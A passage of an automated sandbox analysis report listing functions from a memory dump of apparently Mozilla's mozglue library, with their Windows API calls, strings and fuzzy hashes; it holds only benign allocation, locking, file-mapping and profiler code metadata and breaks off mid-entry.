Opcode Fuzzy Hash: d8a04a930eca5a0c23c501c30a65cb6ade6a4a980e49d67683985fb0f796b3f0
Instruction Fuzzy Hash: 6721BF7D600198AFDF109F28D848AEE7779EF4626CF104210FD2897741DF7198158BBA

Function 6CB78ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CB3EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB3EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CB7B392,?,?,00000001), ref: 6CB791F4

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

Strings

name, xrefs: 6CB78F16
timeline-overview, xrefs: 6CB7907A
marker-table, xrefs: 6CB7906C
timeline-memory, xrefs: 6CB79088
stack-chart, xrefs: 6CB790B2
timeline-fileio, xrefs: 6CB790A4
marker-chart, xrefs: 6CB7905E
data, xrefs: 6CB790E8
timeline-ipc, xrefs: 6CB79096

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 05508b0d84d90938458267a985d953c72899907107e8880e7e2ba0332d6eaa64
Instruction ID: 98e83300a0ac50b3e4826c405ba138389fa14d65dc7a2976f32a6ead3d6862f4
Opcode Fuzzy Hash: 05508b0d84d90938458267a985d953c72899907107e8880e7e2ba0332d6eaa64
Instruction Fuzzy Hash: F4B1B1B0A052899BDF14CFA4C8957FEBBB6EB84318F104419D915ABF80DB319945CBE1

Function 6CB5C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB5C5A3
WideCharToMultiByte.KERNEL32 ref: 6CB5C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CB5C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CB5CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB5CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB5CAA5

Strings

0, xrefs: 6CB5D30A
(null), xrefs: 6CB5C596

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: f057ef41c48aea7e8355f8451922980c7e7b6d64a17463d393e74656bb220da1
Instruction ID: 501ef8f422d394345bd808bb26cc870c75174573742da5740fc6121dbc59602d
Opcode Fuzzy Hash: f057ef41c48aea7e8355f8451922980c7e7b6d64a17463d393e74656bb220da1
Instruction Fuzzy Hash: B2A1AB706083829FDB00DF28D99475BBBF6EF89748F44892DE88997741DB31E815CB92

Function 6CB33480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB33492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB334A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB334EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CB3350E
__Init_thread_footer.LIBCMT ref: 6CB33522
__aulldiv.LIBCMT ref: 6CB33552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB3357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB33592

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

Strings

kernel32.dll, xrefs: 6CB334EA
GetSystemTimePreciseAsFileTime, xrefs: 6CB33508

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: d15cbd9910343dd007408e1ea91ccfd87bbcfe583e956557a8eb58775151217c
Instruction ID: b38e983ad1ed104492d9a94b740de76ce7e26df15036354eec03a1840c656850
Opcode Fuzzy Hash: d15cbd9910343dd007408e1ea91ccfd87bbcfe583e956557a8eb58775151217c
Instruction Fuzzy Hash: B131E779B001869BDF00DFB5C888AAF7379FB45304F110419E906E3660EFB0A905CF65

Function 6CB34480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CB74843,?), ref: 6CB345F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB74843,?), ref: 6CB3468A
free.MOZGLUE(?,?,?,?,?,?,6CB74843,?), ref: 6CB346C9
free.MOZGLUE(?), ref: 6CB346EF
free.MOZGLUE(?), ref: 6CB34712
free.MOZGLUE(?), ref: 6CB34735
free.MOZGLUE(?), ref: 6CB34758
free.MOZGLUE(?), ref: 6CB3477B
free.MOZGLUE(?), ref: 6CB3479E

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 2389fb96a950be026fd5556f3af614af95b387896c51bce79e73201f2f8d7b07
Instruction ID: 609bc71084ba8e102140d6e04437048117a3225d344845a406bc98de2eeef0aa
Opcode Fuzzy Hash: 2389fb96a950be026fd5556f3af614af95b387896c51bce79e73201f2f8d7b07
Instruction Fuzzy Hash: 2AB1F871A001A08FDB14CE3CC89476D7BB1EF42318F185669E81ADBB96D732D8448F52

Function 6CB9AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB9AC52
CreateFileMappingW.KERNEL32 ref: 6CB9AC7D
GetSystemInfo.KERNEL32 ref: 6CB9AC98
MapViewOfFile.KERNEL32 ref: 6CB9ACB0
GetSystemInfo.KERNEL32 ref: 6CB9ACCD
MapViewOfFile.KERNEL32 ref: 6CB9AD05
UnmapViewOfFile.KERNEL32 ref: 6CB9AD1C
CloseHandle.KERNEL32 ref: 6CB9AD28
UnmapViewOfFile.KERNEL32 ref: 6CB9AD37
CloseHandle.KERNEL32 ref: 6CB9AD43
CloseHandle.KERNEL32 ref: 6CB9AD67

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 31b17984a815dab5163c1764480b3d1ec2eae6af35b25932e1dc57452330a5ad
Instruction ID: 46d11b695d7614abb9495997708254794e8901e13c54e2df04733db3a1cf4384
Opcode Fuzzy Hash: 31b17984a815dab5163c1764480b3d1ec2eae6af35b25932e1dc57452330a5ad
Instruction Fuzzy Hash: 6F3150B1A047448FDB00AF7CD68926EBBF0FF85305F01892DE98597261EF709458CB92

Function 6CB49620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CB49675
__Init_thread_footer.LIBCMT ref: 6CB49697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CB496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CB49707
__Init_thread_footer.LIBCMT ref: 6CB4971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB49773

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CB497B7
FreeLibrary.KERNEL32 ref: 6CB497D0
FreeLibrary.KERNEL32 ref: 6CB497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB49824

Strings

NtMapViewOfSection, xrefs: 6CB49701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CB49670
ntdll.dll, xrefs: 6CB496E3
MapViewOfFileNuma2, xrefs: 6CB497B1

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 3181ca7cd58fe20f8e351c93c4c024db70f8ec51e248d821c02f0a203ef62849
Instruction ID: 892a9400c1fc53393f833d70d4c10bdcd0f46106b21d4d55f90bc1cabed27088
Opcode Fuzzy Hash: 3181ca7cd58fe20f8e351c93c4c024db70f8ec51e248d821c02f0a203ef62849
Instruction Fuzzy Hash: B841D57CB002459FDF00CFA6D985A9A77B8FB59364F008569ED0597744DB30E904CFA6

Function 6CB31E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBE784), ref: 6CB31EC1
LeaveCriticalSection.KERNEL32(6CBBE784), ref: 6CB31EE1
EnterCriticalSection.KERNEL32(6CBBE744), ref: 6CB31F38
LeaveCriticalSection.KERNEL32(6CBBE744), ref: 6CB31F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CB31F83
LeaveCriticalSection.KERNEL32(6CBBE784), ref: 6CB31FC0
EnterCriticalSection.KERNEL32(6CBBE784), ref: 6CB31FE2
LeaveCriticalSection.KERNEL32(6CBBE784), ref: 6CB31FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB32019

Strings

MOZ_CRASH(), xrefs: 6CB32000

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 4a550cfdccb953405f4e8034b8be5fb03024546c625d123b032bbe39441af318
Instruction ID: b9cc4c7a146e7fe96e7eaa8ba6b3a301b6d47acc9c1f2f047dc63c8dfbfa5f4a
Opcode Fuzzy Hash: 4a550cfdccb953405f4e8034b8be5fb03024546c625d123b032bbe39441af318
Instruction Fuzzy Hash: FC41E375B003A58FDF009FAAC8C8B6E37B9EB5A308F140065F90897751DF7198048BDA

Function 6CB47E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB47EA7
malloc.MOZGLUE(00000001), ref: 6CB47EB3

Part of subcall function 6CB4CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CB4CB49
Part of subcall function 6CB4CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CB4CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CB47EC4
mozalloc_abort.MOZGLUE(?), ref: 6CB47F19
malloc.MOZGLUE(?), ref: 6CB47F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB47F4D

Strings

d, xrefs: 6CB47F89

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: b1e80b2be5e4c4bbbc93a07e7614663a8e242c371e2b7e875f8b5bec472a3a06
Instruction ID: 67a8df5c4c9391264862eaed7926ff16f99fefed746fd8f4d3292200bfb995ce
Opcode Fuzzy Hash: b1e80b2be5e4c4bbbc93a07e7614663a8e242c371e2b7e875f8b5bec472a3a06
Instruction Fuzzy Hash: 0231F661E047C89BDF01DB78DC059FEB7B8EF96208F449229ED4967612FB31A588C391

Function 6CB43E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CB43EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB43FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CB44006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB440A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CB43CCC), ref: 6CB440AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CB43CCC), ref: 6CB440C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CB44134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CB43CCC), ref: 6CB44143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CB43CCC), ref: 6CB44157

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f6d38a6430dc6cbaa20afd20732f7b4ceadd2824780f2665e3e19abc7f6ea5f2
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: B6A19FB1A44245CFDB40CF68C88065AB7F5FF48308F298199D909AF746D772E896DFA0

Function 6CB89D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB88273), ref: 6CB89D65
free.MOZGLUE(6CB88273,?), ref: 6CB89D7C
free.MOZGLUE(?,?), ref: 6CB89D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB89E0F
free.MOZGLUE(6CB8946B,?,?), ref: 6CB89E24
free.MOZGLUE(?,?,?), ref: 6CB89E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB89EC8
free.MOZGLUE(6CB8946B,?,?,?), ref: 6CB89EDF
free.MOZGLUE(?,?,?,?), ref: 6CB89EF5

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: e46c2d6c1f5883632dc2022219ff8e7d49a6bbe4bfe246785d0c5465d86dea6b
Instruction ID: c0997160ef71d6466c72c5b4133a5ad7b0b520d50b19223ec698b05f3e271751
Opcode Fuzzy Hash: e46c2d6c1f5883632dc2022219ff8e7d49a6bbe4bfe246785d0c5465d86dea6b
Instruction Fuzzy Hash: B571917090AB819FDB12CF18C48055BF7F4FF99316B449619E89A5BB01EB30F889CB95

Function 6CB8DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB8DDCF

Part of subcall function 6CB6FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB6FA4B

Part of subcall function 6CB890E0: free.MOZGLUE(?,00000000,?,?,6CB8DEDB), ref: 6CB890FF
Part of subcall function 6CB890E0: free.MOZGLUE(?,00000000,?,?,6CB8DEDB), ref: 6CB89108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8DE0D
free.MOZGLUE(00000000), ref: 6CB8DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB7DEFD,?,6CB44A68), ref: 6CB8DF32

Part of subcall function 6CB8DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB8DB86
Part of subcall function 6CB8DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB8DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB7DEFD,?,6CB44A68), ref: 6CB8DF65
free.MOZGLUE(?), ref: 6CB8DF80

Part of subcall function 6CB55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB55EDB
Part of subcall function 6CB55E90: memset.VCRUNTIME140(6CB97765,000000E5,55CCCCCC), ref: 6CB55F27
Part of subcall function 6CB55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB55FB2

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 9649cd42bf159989cae0da5b83c3d61cc49754497b77cfb3ad830892af78dfc8
Instruction ID: 80b4e0934495e39ec06b580ea1814bc660146aa8e053da6776ac8fcdbdf9e9cf
Opcode Fuzzy Hash: 9649cd42bf159989cae0da5b83c3d61cc49754497b77cfb3ad830892af78dfc8
Instruction Fuzzy Hash: A751B6726026829BDF119F38E8806AE7376AF91319F95051FD45A53B00DB31F819CBA2

Function 6CB95D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95DC9
std::_Facet_Register.LIBCPMT ref: 6CB95DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB95C8C,?,6CB6E829), ref: 6CB95E45

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 4bc4d2b154a2c1acc4de451a7253f0787590893ecfc9bb17131de518a3657a2d
Instruction ID: 52d31bac3f89a09b4dc95eea75cf024e3f76f2297fe47dcf894ffb497d38d98c
Opcode Fuzzy Hash: 4bc4d2b154a2c1acc4de451a7253f0787590893ecfc9bb17131de518a3657a2d
Instruction Fuzzy Hash: 0141BE307402548FCB00DF65C8D8EAE77B9EF8A319F140168E50697791DF35E809CB65

Function 6CB6CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CB331A7), ref: 6CB6CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB6CFA4, 6CB6CFB8
<jemalloc>, xrefs: 6CB6CF9F, 6CB6CFB3

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 8ac3ea4596e0701646c6187bc70665ca4c54ad9b373afb18232e2204d10c2dea
Instruction ID: b0f7d6dc371717b9d8d205177940b15ad9052746edb7c8cb3e7d7ac69f73d296
Opcode Fuzzy Hash: 8ac3ea4596e0701646c6187bc70665ca4c54ad9b373afb18232e2204d10c2dea
Instruction Fuzzy Hash: 8931B431B412855BEF10AEA6CC85BBE7B75FB41718F204015F614ABE80DF70E4048BA6

Function 6CB3ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

